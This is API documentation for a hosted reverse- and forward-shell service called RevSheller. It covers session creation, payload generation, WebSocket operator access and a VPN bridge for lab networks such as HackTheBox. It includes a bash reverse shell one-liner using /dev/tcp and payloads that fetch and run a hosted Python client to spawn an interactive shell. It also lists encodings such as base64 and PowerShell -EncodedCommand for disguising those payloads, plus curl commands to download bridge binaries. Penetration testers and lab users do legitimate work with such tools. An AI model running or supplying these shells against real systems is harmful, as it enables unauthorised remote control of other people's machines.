API Documentation

The RevSheller API allows you to create and manage reverse and forward shell sessions programmatically. A Pro Plus subscription is required.

Authentication

All API requests require a Bearer token using your API key:

Authorization: Bearer rsh_your_api_key_here

Generate your API key from the account menu after subscribing to the Pro Plus plan.

Base URL

https://revsheller.com/api

Endpoints

Create Session (Reverse Shell)

Creates a new reverse shell session and returns connection details + pre-generated payloads.

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json"

# Response (200 OK)
{
  "session": {
    "id": "abc12345",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "reverse"
  },
  "payloads": {
    "auto": "sh -c \"for c in python3 python py; do ...\"",
    "auto_windows": "powershell -NoProfile -Command \"& { ... }\""
  },
  "operatorUrl": "wss://abc12345.revsheller.com/ws/operator",
  "httpBase": "https://abc12345.revsheller.com",
  "wsBase": "wss://abc12345.revsheller.com",
  "pathPrefix": "",
  "plan": "api",
  "limits": {
    "maxSessions": null,
    "idleTimeoutMs": 3600000
  }
}

Create Session (Forward Shell)

Creates a forward shell session — RevSheller connects outbound to a target host:port and relays it to your operator WebSocket. Pro Plus only. The target must be reachable on a public IP (private/RFC1918 addresses and port 25 are blocked).

# Request
curl -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  }'

# Response (200 OK)
{
  "session": {
    "id": "xyz98765",
    "operatorSecret": "op_a1b2c3d4e5f6...",
    "targetSecret": "tgt_f6e5d4c3b2a1...",
    "operatorConnected": false,
    "targetConnected": false,
    "createdAt": 1710000000000,
    "idleTimeoutMs": 3600000,
    "mode": "forward",
    "targetHost": "203.0.113.5",
    "targetPort": 4444
  },
  "payloads": {},
  "operatorUrl": "wss://xyz98765.revsheller.com/ws/operator",
  ...
}

# Error: wrong plan (403)
{ "error": "Forward shells require a Pro Plus subscription." }

# Error: private IP (400)
{ "error": "Cannot connect to private/reserved addresses. Target must be a public IP or hostname." }

Once created, connect as operator via WebSocket (same as reverse shells). The TCP connection to the target is initiated automatically when the operator WebSocket connects. No payloads are generated since no code runs on the target — RevSheller connects directly.

Get Session Info

Returns the current status of a session. Requires the operator secret.

# Request
curl https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{
  "id": "abc12345",
  "operatorConnected": true,
  "targetConnected": false,
  "createdAt": 1710000000000,
  "idleTimeoutMs": 3600000
}

# Response (404 — wrong token or non-existent session)
{ "error": "Session not found" }

Delete Session

Tears down a session and releases the session slot. Requires the operator secret.

# Request
curl -X DELETE https://revsheller.com/api/session/abc12345 \
  -H "Authorization: Bearer op_a1b2c3d4e5f6..."

# Response (200 OK)
{ "ok": true }

Generate Payload

Generates a specific payload type for a session. Useful for custom integrations.

# Request
curl -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "auto",
    "slug": "abc12345",
    "token": "tgt_f6e5d4c3b2a1...",
    "variant": "posix",
    "encoding": "base64"
  }'

# Response (200 OK)
{ "payload": "echo ... | base64 -d | sh" }

Optional variant: posix (default) or windows for the outer Python one-liner suited to cmd/PowerShell.

WebSocket Protocol

After creating a session, connect as the operator via WebSocket to interact with the shell.

Connecting: Use the operatorUrl from the create-session response. Authenticate by passing the operator secret in the Sec-WebSocket-Protocol subprotocol header:

# Using websocat (example)
websocat "wss://abc12345.revsheller.com/ws/operator" \
  --protocol "op_a1b2c3d4e5f6..."

# Using wscat
wscat -c "wss://abc12345.revsheller.com/ws/operator" \
  -s "op_a1b2c3d4e5f6..."

Data format: Regular binary frames are shell I/O (stdin/stdout). Control messages are prefixed with a \x00 null byte followed by a JSON object:

# Control message format (binary frame):
\x00{"type":"resize","cols":120,"rows":40}

# Control message types:
# resize — send terminal dimensions to the target shell
# status — server → client status updates (e.g., target connected/disconnected)
# ping   — keepalive

Resize: When the operator's terminal size changes, send a resize control message so the target shell adapts:

// JavaScript example
const msg = JSON.stringify({ type: "resize", cols: 120, rows: 40 });
ws.send(new Uint8Array([0, ...new TextEncoder().encode(msg)]));

Error Reference

All errors return JSON with an error field. Here are the possible status codes:

Status	Meaning	Example Response
`400`	Bad request — missing or invalid parameters	`{ "error": "Email and password are required" }`
`401`	Unauthorized — invalid API key or credentials	`{ "error": "Invalid API key" }`
`403`	Forbidden — session limit reached or wrong plan	`{ "error": "Session limit reached (1 for free tier)." }`
`404`	Not found — session doesn't exist or wrong token	`{ "error": "Session not found" }`
`409`	Conflict — email already registered	`{ "error": "Email already registered" }`
`429`	Rate limited — too many requests	`{ "error": "Too many requests" }`
`500`	Internal server error	`{ "error": "Internal server error" }`

Payload type

There is a single reverse shell type: auto. It starts with sh (Unix) or powershell (Windows) to locate Python, then uses Python stdlib to open a WebSocket, fetch the hosted client from /assets/rs-python-ws.py, and spawn an interactive shell (POSIX PTY or Windows pipes). GET /api/payloads returns metadata for this type.

Session creation returns two pre-generated strings: payloads.auto (Unix) and payloads.auto_windows (Windows).

Encoding options: none, base64, urlencode, hex, powershell_b64 (for -EncodedCommand).

Bridge Agent (VPN Networks)

For targets on isolated networks (HackTheBox, TryHackMe, Offshore labs) that can't reach revsheller.com, a bridge runs on your VPN-connected machine and relays TCP connections to RevSheller via WebSocket. Pro Plus only.

# Architecture:
# Target (VPN) --TCP--> Bridge (your machine) --WSS--> RevSheller (cloud) --> Operator (browser)

# 1. Create a session via API or browser
SESSION_ID="abc12345"
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 2. Run bridge on your machine (connected to both VPN and internet)
./rsh-bridge \
  --url wss://${SESSION_ID}.revsheller.com/ws/target \
  --token ${TGT_SECRET} \
  --listen 0.0.0.0:4444

# 3. On the target machine (VPN network), connect to your bridge:
bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1

# The bridge forwards the TCP connection to RevSheller as a standard
# WebSocket target connection. Your browser shell works normally.

Bridge Methods

Four bridge methods are available. All are hosted at revsheller.com/assets/.

Method	Install	Run
Binary (Go)	`curl -Lo rsh-bridge revsheller.com/assets/rsh-bridge-linux-amd64 && chmod +x rsh-bridge`	`./rsh-bridge --url wss://SLUG.revsheller.com/ws/target --token tgt_XXX --listen 0.0.0.0:4444`
Python	`pip3 install websockets && curl -O revsheller.com/assets/rsh-bridge.py`	`python3 rsh-bridge.py --url ... --token ... --listen 0.0.0.0:4444`
PowerShell	`curl -O revsheller.com/assets/rsh-bridge.ps1`	`pwsh rsh-bridge.ps1 -Url ... -Token ... -Listen 0.0.0.0:4444`
Bash (websocat)	`curl -Lo websocat github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl && chmod +x websocat`	`./websocat -b --protocol "token.tgt_XXX" "tcp-l:0.0.0.0:4444" "wss://SLUG.revsheller.com/ws/target"`

Binary downloads are available for Linux (amd64, arm64), macOS (amd64, arm64), and Windows (amd64). The bridge setup UI in the browser generates pre-filled commands with your session URL and token.

Rate Limits

API requests are rate-limited to 20 requests per minute per IP address. Auth endpoints have stricter limits (3-5 req/min).

Full Example: Create, Connect, and Clean Up

# 1. Create a session
curl -s -X POST https://revsheller.com/api/session \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" | jq .

# 2. Extract values from response
SESSION_ID="abc12345"
OP_SECRET="op_a1b2c3d4e5f6..."
TGT_SECRET="tgt_f6e5d4c3b2a1..."

# 3. Connect as operator (using websocat)
websocat "wss://${SESSION_ID}.revsheller.com/ws/operator" \
  --protocol "${OP_SECRET}"

# 4. On target machine, run payloads.auto or payloads.auto_windows (sh/PowerShell + Python on target)

# 5. Check session status
curl -s https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .

# 6. Generate a custom payload
curl -s -X POST https://revsheller.com/api/payload/generate \
  -H "Authorization: Bearer rsh_your_api_key" \
  -H "Content-Type: application/json" \
  -d "{
    \"type\": \"auto\",
    \"slug\": \"${SESSION_ID}\",
    \"token\": \"${TGT_SECRET}\",
    \"variant\": \"posix\",
    \"encoding\": \"none\"
  }" | jq -r .payload

# 7. Delete session when done
curl -s -X DELETE https://revsheller.com/api/session/${SESSION_ID} \
  -H "Authorization: Bearer ${OP_SECRET}" | jq .